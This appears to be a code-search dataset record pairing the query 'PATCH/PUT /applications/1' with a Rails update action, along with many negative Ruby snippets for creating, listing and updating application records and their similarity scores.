"def create\n @application = Doorkeeper::Application.new(application_params)\n @application.uid = SecureRandom.hex(4)\n @application.owner = current_user if Doorkeeper.configuration.confirm_application_owner?\n\n if @application.save\n flash[:notice] = I18n.t(:notice, scope: [:doorkeeper, :flash, :applications, :create])\n redirect_to oauth_application_url(@application)\n else\n render :new\n end\n end",
"def create\n authorize! :create, @app\n @app = App.new(app_params)\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(app_params)\n\n respond_to do |format|\n if @app.save\n flash[:success] = 'App was successfully saved.'\n format.html { redirect_to @app }\n format.json { render :show, status: :created, location: @app }\n else\n flash[:danger] = 'There was a problem creating the App Catalog Page.'\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize @application, policy_class: Oauth::ApplicationPolicy\n @application = Doorkeeper::Application.new(application_params)\n @application.owner = current_user if T.unsafe(Doorkeeper).configuration.confirm_application_owner?\n if @application.save\n flash[:notice] = I18n.t(:notice, scope: [:doorkeeper, :flash, :applications, :create])\n redirect_to oauth_application_url(@application)\n else\n render :new\n end\n end",
"def create\n @application = Doorkeeper::Application.new(application_params)\n @application.owner = current_user if Doorkeeper.configuration.confirm_application_owner?\n if @application.save\n flash[:notice] = I18n.t(:notice, scope: [:doorkeeper, :flash, :applications, :create])\n respond_with( :oauth, @application, location: oauth_application_url( @application ) )\n else\n render :new\n end\n end",
"def create\n\t\t@application = Application.new(params[:application])\n\n\t\tif @application.save\n\t\t\tflash[:developer] = \"Yay! Your application has been registered!\"\n\t\t\tcurrent_developer.applications << @application\n\t\t\t# Randomizer as in http://goo.gl/qpI5Rv\n\t\t\taccess_token = Array.new(32){rand(36).to_s(36)}.join\n\t\t\tkey = ApiKey.create(:access_token => access_token)\n\t\t\tkey.application = @application\n\t\t\tkey.save\n\t\t\tredirect_to developer_home_path\n\t\telse\n\t\t\trender :action => 'register'\n\t\tend\n\tend",
"def create\n megam_rest.post_appreq(to_hash)\n end",
"def create\n @application_form = ApplicationForm.new(application_form_params)\n authorize @application_form\n\n if @application_form.save\n render json: @application_form, status: :created, location: nil\n else\n render json: @application_form.errors, status: :unprocessable_entity\n end\n end",
"def create\n megam_rest.post_appdefn(to_hash)\n end",
"def update_app data={}\n put '/app', data\n end",
"def create\n @app = App.new(app_params)\n @app.count = 0\n @app.uid = SecureRandom.uuid\n respond_to do |format|\n if @app.save\n format.html { redirect_to app_path(uid: @app.uid), notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tbegin\n\t\t\tActiveRecord::Base.transaction do\n\t\t\t\t@application = Application.create!(name: params[:name])\n end\n rescue => e #ActiveRecord::RecordNotUnique\n p e.message\n p e.backtrace\n\t\t\tActiveRecord::Rollback\n\t\t\trender plain: e.message, status: :unprocessable_entity and return\n end\n render json:\" Application created with token = #{@application.token}\", status: :created\n end",
"def create\n @application = Application.new(application_params)\n\n if @application.save\n @application.status = Application.where(nursery_id: @application.nursery_id, date: @application.date, status: :appointed).count < @application.nursery.capacity ? :appointed : :waiting\n @application.save\n render :show, status: :created, location: @application\n else\n render json: @application.errors, status: :unprocessable_entity\n end\n end",
"def create_application(client, options)\n if options[:name].nil? or options[:description].nil?\n puts \"Missing arguments\"\n end\n \n application = client.applications.create({\n name: options[:name],\n description: options[:description]\n })\n puts \"Application created.\"\n\n #TODO: Add exception handling\nend",
"def app data={}\n get '/app', data\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @applications }\n end\n end",
"def create\n @test_app = TestApp.new(test_app_params)\n\n respond_to do |format|\n if @test_app.save\n format.html { redirect_to @test_app, notice: \"Test app was successfully created.\" }\n format.json { render :show, status: :created, location: @test_app }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @visa_application = VisaApplication.new(visa_application_params)\n\n respond_to do |format|\n if @visa_application.save\n format.html { redirect_to @visa_application, notice: 'Visa application was successfully created.' }\n format.json { render :show, status: :created, location: @visa_application }\n else\n format.html { render :new }\n format.json { render json: @visa_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(params[:application])\n\n respond_to do |format|\n if @application.save\n format.html do \n redirect_to root_path \n flash[:application_success] = \"true\"\n end\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html do \n render action: \"new\"\n flash[:notice] = 'Looks like there are still some areas to be fixed' \n end \n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_app = TestApp.new(test_app_params)\n\n respond_to do |format|\n if @test_app.save\n format.html { redirect_to @test_app, notice: 'Test app was successfully created.' }\n format.json { render :show, status: :created, location: @test_app }\n else\n format.html { render :new }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_app = App.new(admin_app_params)\n\n respond_to do |format|\n if @admin_app.save\n format.html { redirect_to [:admin, @admin_app], notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: [:admin, @admin_app] }\n else\n format.html { render :new }\n format.json { render json: [:admin, @admin_app].errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_application!(name: nil, primary_language: nil, version: nil, sku: nil, bundle_id: nil, bundle_id_suffix: nil, company_name: nil)\n # First, we need to fetch the data from Apple, which we then modify with the user's values\n r = request(:get, 'ra/apps/create/?appType=ios')\n data = parse_response(r, 'data')\n\n # Now fill in the values we have\n data['versionString']['value'] = version\n data['newApp']['name']['value'] = name\n data['newApp']['bundleId']['value'] = bundle_id\n data['newApp']['primaryLanguage']['value'] = primary_language || 'English'\n data['newApp']['vendorId']['value'] = sku\n data['newApp']['bundleIdSuffix']['value'] = bundle_id_suffix\n data['companyName']['value'] = company_name if company_name\n\n # Now send back the modified hash\n r = request(:post) do |req|\n req.url 'ra/apps/create/?appType=ios'\n req.body = data.to_json\n req.headers['Content-Type'] = 'application/json'\n end\n\n data = parse_response(r, 'data')\n handle_itc_response(data)\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def create\n @application = current_user.applications.new(application_params)\n jb_id = params[:j_id]\n @application.status = 'Application Submitted'\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n @j_id = @application.job_id\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mobile_app = MobileApp.new(mobile_app_params)\n\n respond_to do |format|\n if @mobile_app.save\n format.html { redirect_to @mobile_app, notice: 'Mobile app was successfully created.' }\n format.json { render :show, status: :created, location: @mobile_app }\n else\n format.html { render :new }\n format.json { render json: @mobile_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @registered_app = RegisteredApp.new(registered_app_params)\n\n respond_to do |format|\n if @registered_app.save\n format.html { redirect_to @registered_app, notice: 'Registered app was successfully created.' }\n format.json { render action: 'show', status: :created, location: @registered_app }\n else\n format.html { render action: 'new' }\n format.json { render json: @registered_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n session[:current_api_token] = @app.api_token\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render json: @app, status: :created, location: @app }\n else\n format.html { \n @apps = App.all\n render action: \"index\" \n }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n @application.offer = current_user.offers.find(params.require(:offer)[:id])\n\n # @application.company = Company.new(company_params)\n # @application.contact = Contact.new(contact_params)\n # @application.agent = Agent.find_by(agent_params)\n #\n respond_to do |format|\n if @application.save\n # current_user.applications << @application\n format.html { redirect_to action: :index, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @userapplication = Userapplication.new(userapplication_params)\n\n respond_to do |format|\n if @userapplication.save\n format.html { redirect_to @userapplication, info: 'La aplicación de usuario se creó con éxito.' }\n format.json { render :show, status: :created, location: @userapplication }\n else\n format.html { render :new }\n format.json { render json: @userapplication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @application.update(application_params)\n render json: @application, status: :ok, location: api_application_path(@application)\n else\n render json: @application.errors.full_messages.join(', '), status: :unprocessable_entity\n end\n end",
"def create\n @phone_app = PhoneApp.new(phone_app_params)\n\n respond_to do |format|\n if @phone_app.save\n format.html { redirect_to @phone_app, notice: 'Phone app was successfully created.' }\n format.json { render :show, status: :created, location: @phone_app }\n else\n format.html { render :new }\n format.json { render json: @phone_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_application_with_http_info(application_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ApplicationManagementApi.create_application ...'\n end\n # verify the required parameter 'application_name' is set\n if @api_client.config.client_side_validation && application_name.nil?\n fail ArgumentError, \"Missing the required parameter 'application_name' when calling ApplicationManagementApi.create_application\"\n end\n # resource path\n local_var_path = '/appManagement/applications'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(application_name)\n auth_names = ['APP_MANAGEMENT', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ApplicationSchema')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ApplicationManagementApi#create_application\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create_application_id(application_name)\n applicaiton_id = VaultDriver.generate_uid\n applicaiton_create_uri = URI(@url + \"auth/#{application_name}/map/app-id/#{applicaiton_id}\")\n req = Net::HTTP::Post.new(applicaiton_create_uri)\n req['X-Vault-Token'] = @token\n res = Net::HTTP.start(applicaiton_create_uri.hostname, applicaiton_create_uri.port) do |http|\n req.body = { 'value' => 'root', 'display_name' => application_name.to_s }.to_json\n http.request(req)\n end\n [applicaiton_id, res.code.to_i]\n end",
"def create\n @project_application = ProjectApplication.new(project_application_params)\n\n respond_to do |format|\n if @project_application.save\n format.html { redirect_to @project_application, notice: 'Project application was successfully created.' }\n format.json { render :show, status: :created, location: @project_application }\n else\n format.html { render :new }\n format.json { render json: @project_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(params[:application])\n\n respond_to do |format|\n if @application.save\n Notifier.application_confirmation(@application).deliver\n format.html { render 'application_success', :locals => { :first_name => @application.first_name } }\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html { render action: \"new\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @herga_application = HergaApplication.new(herga_application_params)\n\n respond_to do |format|\n if @herga_application.save\n format.html { redirect_to @herga_application, notice: 'Herga application was successfully created.' }\n format.json { render :show, status: :created, location: @herga_application }\n else\n format.html { render :new }\n format.json { render json: @herga_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def apply(application, params={})\n response = @http.post(\"/application/submit\", application.to_xml)\n check_status(response)\n response_application_parser.parse(response.body).first\n end",
"def applications\n Application.from session.get 'operations/application', API_V1\n end",
"def create_app app_name, dev_name, dev_email\n data[:app_name] = app_name\n data[:dev_name] = dev_name\n data[:dev_email] = dev_email\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @applications }\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to(@app, :notice => 'App was successfully created.') }\n format.xml { render :xml => @app, :status => :created, :location => @app }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to(@app, :notice => 'App was successfully created.') }\n format.xml { render :xml => @app, :status => :created, :location => @app }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n flash[:notice] = 'App was successfully created.'\n format.html { redirect_to(app_path(@app)) }\n format.xml { render :xml => @app, :status => :created, :location => @app }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_marketplaceapp(to_hash)\n end",
"def create\n megam_rest.post_marketplaceapp(to_hash)\n end",
"def new\n @newapp = Newapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newapp }\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n flash[:notice] = 'App was successfully created.'\n format.html { redirect_to app_activities_path(@app) }\n format.xml { render :xml => @app, :status => :created, :location => @app }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @task_application = TaskApplication.new(task_application_params)\n\n respond_to do |format|\n if @task_application.save\n format.html { redirect_to @task_application, notice: 'Task application was successfully created.' }\n format.json { render action: 'show', status: :created, location: @task_application }\n else\n format.html { render action: 'new' }\n format.json { render json: @task_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @residential_application = ResidentialApplication.new(residential_application_params)\n\n respond_to do |format|\n if @residential_application.save\n format.html { redirect_to @residential_application, notice: 'Residential application was successfully created.' }\n format.json { render :show, status: :created, location: @residential_application }\n else\n format.html { render :new }\n format.json { render json: @residential_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_application(name, options)\n debug \"Adding application #{name} to domain #{id}\"\n\n payload = {:name => name}\n options.each{ |key, value| payload[key.to_sym] = value }\n\n cartridges = Array(payload.delete(:cartridge)).concat(Array(payload.delete(:cartridges))).map do |cart|\n if cart.is_a? String or cart.respond_to? :[]\n cart\n else\n cart.url ? {:url => cart.url} : cart.name\n end\n end.compact.uniq\n\n if cartridges.any?{ |c| c.is_a?(Hash) and c[:url] } and !has_param?('ADD_APPLICATION', 'cartridges[][url]')\n raise RHC::Rest::DownloadingCartridgesNotSupported, \"The server does not support downloading cartridges.\"\n end\n\n if client.api_version_negotiated >= 1.3\n payload[:cartridges] = cartridges\n else\n raise RHC::Rest::MultipleCartridgeCreationNotSupported, \"The server only supports creating an application with a single web cartridge.\" if cartridges.length > 1\n payload[:cartridge] = cartridges.first\n end\n\n if payload[:initial_git_url] and !has_param?('ADD_APPLICATION', 'initial_git_url')\n raise RHC::Rest::InitialGitUrlNotSupported, \"The server does not support creating applications from a source repository.\"\n end\n\n options = {:timeout => options[:scale] && 0 || nil}\n rest_method \"ADD_APPLICATION\", payload, options\n end",
"def create\n\t\t@application = current_user.collaboration_applications.build(application_params)\n\t\t\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n else\n format.html { render partial: 'errors' }\n end\n end\n end",
"def create\n # Receives a Facebook username and a list of Android package names.\n # The list of package names are delimited by newlines.\n \n @user = User.find_for_facebook_token(params[:token].strip)\n\n # List will be delimited by newlines\n packages_list = params[:apps].strip.split(\"\\n\")\n\n # Packages that were successfully associated created with user\n @apps = []\n @user_apps = []\n packages_list.each do |package_name|\n app = App.find(:first, :conditions => [ \"app_id = ?\", package_name ])\n valid_app = !app.nil?\n\n # If app doesn't exist on our system, add it\n if app.nil?\n app = App.new({ app_id: package_name })\n valid_app = app.save\n end\n\n if valid_app\n user_app = UserApp.where(:user_id => @user.id, :app_id => app.id)\n if user_app.size == 0\n user_app = UserApp.new({ user_id: @user.id, app_id: \n app.id, installed: true })\n else\n user_app = user_app[0]\n user_app.installed = true\n end\n if user_app.save\n @apps << app\n @user_apps << user_app\n end\n end\n end\n\n respond_to do |format|\n format.html { redirect_to user_apps_url }\n format.json { render json: { user: @user, apps: @apps }, \n status: :created }\n end\n end",
"def create\n if not view_context.can_apply?\n flash[:error] = 'You are not allowed to create new applications. If you have already applied to the guild, you can find a link to your application on your profile page.'\n redirect_to root_path\n return\n end\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render action: 'show', status: :created, location: @application }\n else\n format.html { render action: 'new' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @applist = Applist.new(applist_params)\n\n respond_to do |format|\n if @applist.save\n format.html { redirect_to @applist, notice: 'Applist was successfully created.' }\n format.json { render :show, status: :created, location: @applist }\n else\n format.html { render :new }\n format.json { render json: @applist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_app_generate(application_id, type, opts={})\n # \n # default_options = {\n # \"name\" => \"\",\n # \"author\" => \"\",\n # \"description\" => \"\",\n # \"guid\" => \"\",\n # \"datasets\" => \"\",\n # \"env\" => \"prod\",\n # \"image_url\" => \"http://appresource.s3.amazonaws.com/apiappimages/missing_icard.jpg\",\n # \"runtime\" => \"\"\n # }\n # options = default_options.merge(opts)\n return post_response(\"app/#{application_id}/generate/#{type}\", opts,:json)\n end",
"def create(name=nil, options={})\n\t\toptions[:name] = name if name\n\t\txml(post('/apps', :app => options)).elements[\"//app/name\"].text\n\tend",
"def register_application(app_name, namespace, public_hostname)\n # curl -X POST https://dnsapi.cn/Record.Create -d '[email protected]&login_password=password&format=json&domain_id=2317346&sub_domain=@&record_type=A&record_line=默认&value=1.1.1.1'\n\n # create an A record for the application in the domain\n hostname = \"#{app_name}-#{namespace}\"\n url = \"https://dnsapi.cn/Record.Create\"\n params = common_params.merge({\n :domain_id => @domain_id,\n :sub_domain => hostname,\n :record_type => 'A',\n :record_line => '默认',\n :value => public_hostname\n })\n\n res = @http.post(url, params)\n res = JSON.parse(res.content)\n puts res\n\n result = JSON.parse(response.body)\n result.status['message']\n #{\n # \"status\": {\n # \"code\":\"1\",\n # \"message\":\"Action completed successful\",\n # \"created_at\":\"2012-11-23 22:17:47\"\n #},\n # \"record\": {\n # \"id\":\"16894439\",\n # \"name\":\"@\",\n # \"status\":\"enable\"\n #}\n #}\n\n end",
"def create(name=nil, options={})\n\t\tparams = {}\n\t\tparams['app[name]'] = name if name\n\t\txml(post('/apps', params)).elements[\"//app/name\"].text\n\tend",
"def create\n @activity_application = @meetup_event.activity_applications.new(activity_application_params_for_create)\n\n respond_to do |format|\n if @activity_application.save\n format.html {redirect_to [@meetup_event, @activity_application], notice: 'Activity application was successfully created.'}\n format.json {render :show, status: :created, location: meetup_event_activity_application_path(@meetup_event, @activity_application)}\n else\n format.html {render :new}\n format.json {render json: @activity_application.errors, status: :unprocessable_entity}\n end\n end\n end",
"def create\n application = Application.new(app_params)\n if application.save\n flash[:success] = 'Application was successfully created.'\n redirect_to application_path(application)\n else\n error_message = application.errors.full_messages.to_sentence\n flash[:alert] = 'Application could not be created. Do better'\n #another option would be render :new\n redirect_to new_application_path\n end\n end",
"def create_application(application_entity)\n # handle runtimes / cartridges\n fail_with(:only_one_runtime) if application_entity[:runtimes].length > 1\n fail_with(:must_have_runtime) if application_entity[:runtimes].empty?\n application_entity[:cartridge] = cartridge(application_entity.delete(:runtimes)[0])\n\n # updates the application with a valid region identity\n retrieve_region(application_entity) if application_entity.key?(:region)\n\n # enable application scaling by default\n application_entity[:scale] = true unless application_entity.key?(:scale)\n created_application = post(\"/domains/#{app_domain}/applications\", body: application_entity).body\n # now make sure we keep at least 2 deployments, allows proper identification of application state\n updated_application = put(\"/application/#{created_application[:data][:id]}\",\n body: { keep_deployments: 2, auto_deploy: false }).body\n to_nucleus_app(updated_application[:data])\n end",
"def create\n @mobileapp = Mobileapp.new(params[:mobileapp])\n \n respond_to do |format|\n if @mobileapp.save\n format.html { redirect_to @mobileapp, notice: 'Mobileapp was successfully created.' }\n format.json { render json: @mobileapp, status: :created, location: @mobileapp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mobileapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @merchant_application = MerchantApplication.new(merchant_application_params)\n\n respond_to do |format|\n if @merchant_application.save\n format.html { redirect_to merchant_applications_path, notice: 'Merchant application was successfully created.' }\n format.json { render :show, status: :created, location: @merchant_application }\n else\n format.html { render :new }\n format.json { render json: @merchant_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def applications=(value)\n @applications = value\n end",
"def applications=(value)\n @applications = value\n end",
"def create\n @application = Application.new(params[:application])\n p @params\n user = User.find_by_user(params['requester'])\n puts user\n\n @application['user_id'] = user.id\n @application['status'] = 0\n @application['apply_date'] = Time.now\n\n\n @application['to'] = params[:application]['to'].join(\",\")\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to :action => \"index\", notice: 'Application was successfully created.' }\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html { render action: \"new\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n respond_with @applications = Application.all\n end",
"def create\n @app = App.new(app_params)\n IO.popen([\"mail\", \"-s\", \"New Application request\", \"[email protected]\"], \"w\") {|f|\n f.puts @app.name;\n f.puts @app.email;\n f.puts @app.phone;\n f.puts @app.date;\n f.puts @app.employment;\n f.puts @app.currently;\n f.puts @app.looking_for;\n f.puts @app.experience;\n f.puts @app.ideas;\n f.puts @app.linkedin;\n f.puts @app.heard_from;\n f.close_write;\n }\n\n gb = Gibbon::API.new\n \n name_array = app_params[:name].split\n first_name = app_params[:name]\n last_name = \"\"\n if name_array.length > 1 && name_array[0].length > 0 && name_array[1].length > 0\n first_name = name_array[0]\n last_name = name_array[1]\n end\n puts \"subscribing new user to list\"\n \n gb.lists.subscribe({:id => \"75aba6bef3\", :email => {:email => app_params[:email]}, :merge_vars => {:FNAME => first_name, :LNAME => last_name}, :double_optin => true})\n\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to root_path, notice: \"A lovely application! We'll be in touch soon!\" }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.75115496",
"0.7120853",
"0.7010377",
"0.69720936",
"0.6955418",
"0.6880274",
"0.68689686",
"0.68499",
"0.68345064",
"0.68260735",
"0.68003273",
"0.67571235",
"0.67512643",
"0.6713185",
"0.6713185",
"0.666663",
"0.6665081",
"0.66627544",
"0.66618484",
"0.6633409",
"0.6618574",
"0.6590732",
"0.6575141",
"0.6574769",
"0.6569582",
"0.6551305",
"0.65489143",
"0.65489143",
"0.6547161",
"0.654068",
"0.65322775",
"0.64915127",
"0.6468503",
"0.64589113",
"0.64579386",
"0.64485854",
"0.6443327",
"0.6426223",
"0.63893104",
"0.6382237",
"0.63622487",
"0.6359208",
"0.63585263",
"0.63432956",
"0.63013977",
"0.6284374",
"0.6264101",
"0.6258199",
"0.62495327",
"0.6227021",
"0.6225918",
"0.6224622",
"0.6210575",
"0.62100494",
"0.62100494",
"0.62100494",
"0.6192668",
"0.618477",
"0.6179233",
"0.6139973",
"0.61364996",
"0.6133809",
"0.61060846",
"0.61029965",
"0.6085162",
"0.6084776",
"0.60759044",
"0.60593295",
"0.60572034",
"0.605112",
"0.60462976",
"0.6045442",
"0.6041739",
"0.60416067",
"0.60416067",
"0.6040651",
"0.6026665",
"0.6026665",
"0.6016077",
"0.60044503",
"0.60030663",
"0.60025734",
"0.5998798",
"0.599677",
"0.5988473",
"0.598093",
"0.5979717",
"0.5977451",
"0.59755397",
"0.5973307",
"0.59608704",
"0.59600216",
"0.5956521",
"0.59530824",
"0.594531",
"0.59227747",
"0.5904076",
"0.5904076",
"0.59015316",
"0.5899491",
"0.5895385"
] |
0.0
|
-1
|
PATCH/PUT /applications/1 PATCH/PUT /applications/1.json
|
def update
respond_to do |format|
if @application.update(application_params)
format.html { redirect_to @application, notice: 'Application was successfully updated.' }
format.json { render :show, status: :ok, location: @application }
else
format.html { render :edit }
format.json { render json: @application.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_app data={}\n put '/app', data\n end",
"def update\n if @application.update(application_params)\n render json: @application, status: :ok, location: api_application_path(@application)\n else\n render json: @application.errors.full_messages.join(', '), status: :unprocessable_entity\n end\n end",
"def update\n @app = @client.app(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app]) # FIXME\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n if @app.update(app_params)\n head :no_content\n else\n render json: @app.errors, status: :unprocessable_entity\n end\n end",
"def update\n @application = Application.find(params[:id])\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = Application.find(params[:id])\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to root_path, notice: 'Application was successfully submitted.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n return unless admin?\n @application = Application.find(params[:id])\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, attributes)\n\t\tput(\"/apps/#{name}\", :app => attributes)\n\tend",
"def update(name, attributes)\n\t\tput(\"/apps/#{name}\", :app => attributes)\n\tend",
"def update\n\n if @app.update_attributes(params[:app])\n respond_to do |format|\n format.html {\n redirect_to app_path(@app), notice: 'app was successfully updated.'\n }\n format.json { render :nothing => true}\n end\n else\n respond_to do |format|\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = Application.find(params[:id])\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = Application.find(params[:id])\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html {\n flash[:success] = 'Application was successfully updated.'\n redirect_to [:admin, @application]\n }\n format.json { head :no_content }\n else\n format.html {\n flash[:error] = 'Failed to update application.'\n render action: \"edit\"\n }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
